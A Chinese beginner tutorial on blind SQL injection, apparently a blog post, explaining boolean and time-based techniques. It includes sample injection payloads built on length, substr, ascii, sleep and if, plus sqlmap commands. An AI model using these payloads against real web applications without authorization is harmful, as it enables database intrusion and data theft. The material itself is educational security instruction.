网络安全零基础入门(第五章-4)盲注

  • 每日一句:盲注,考验你的耐心!
  • 本篇内容:盲注介绍
         布尔盲注
         时间盲注
         盲注需要的函数
         延时注入(时间注入)

一、盲注介绍

1.注入攻击本质:用户输入的数据当做代码去执行

2.条件:
    用户可以控制输入
    原本程序要执行的代码,拼接了用户的内容,然后执行了
    
3.定义:
    盲注对应的是显错注入。但是很多时候,web服务器关闭了错误回显,这时候我们就无法实行sql注入了吗?明显不是这样的。
    盲注在服务器没有回显的时候完成了注入攻击,由于没有错误回显,对于攻击者来说,就缺少了“调试信息”
    
4.分类:
   布尔盲注[true,false]
     根据注入信息返回true和false,也就没有了之前的报错信息
     
   时间盲注
     界面返回值只有一种true,无论输入任何值,返回情况都会按正常的情况来处理。假如特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正常。

二、盲注需要的函数

1.length() 返回字符串的长度
   应用:select length(database());//获取当前数据库名的长度
   应法:url id=1 and length(database())=12 //判断数据库名的名长度是否是12位。不是就来回换,(用二分法猜测)
   
2.substr() 截取字符串
   用法:substr(操作的字符串,第几位开始,分割几位)
   应用:select substr(database(),1,1)// 截取当前数据库名的第一位
   
3.ascii()
   用法:select ascii(‘n’)//返回110,这是n的ascii编码
   应用:where id=1 and ascii(substr(database(),1,1))>120
   //判断当数据库名的第一个字符的ascii是否大于120
   //利用二分法就能判断出数据库名的第一个字符和整个数据库名
   
4.补充:手工很累,可以利用burp的爆破功能,很快就可以爆出当前数据库的名称。这就是盲注的原理,后边基本都一样
 
   sqlmap跑盲注如果没跑出来,可能是等级的问题,提高测试等级试试
   sqlmap -u “url” --level 3
  
   如果知道格式,可以手动帮助闭合
   sqlmap -u “url” " //这个额外的"出错可以换成url编码试试(%22)直接补充"
   因为无法闭合造成问题
   改为:sqlmap -u url%22 或者 sqlmap -u “url”%22
  
***补充:清理sqlmap的缓存,–flush-session

三、延时注入(时间注入)

1.前言
   有的页面,输入and 1=1正常,但是and 1=2也正常,就代表没有注入吗?有可能存在延时注入,因为服务器有可能有过滤功能,不管你输入什么都给你过滤掉。
   
2.注释问题:

  • 锚点:即锚链接,超链接的一种。做sql注入一定要避免锚点带来的影响。
     
     建议#改为%23 或者 – suibian
     这"-- "是注释的意思,空格往往被忽略,
     所以在空格后随便补点东西就行。反正会被注释掉,所以加什么都行
  • 函数:
      sleep(n) //n为秒数,
      应用:id = 1 and sleep(10) --suibian //如果页面停止10秒,在正常返回,即存在延时注入
      
      if(句式一;句式二;句式三) //第一个是判断句,如果句式一为真,则执行句式二;否则执行句式三
      用法:select if(1=1,5,‘a’) //返回5
         select if(1=2,5,‘a’) //返回a
         
      应用:select if(ascii(substr(database(),1,1))=50,sleep(5),‘a’)//接下来就正常操作
      
      注意:sql中没有“==”这种用法

四、总结

  • 掌握盲注基本的操作
  • 多多练习,手工注入+sqlmap跑
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值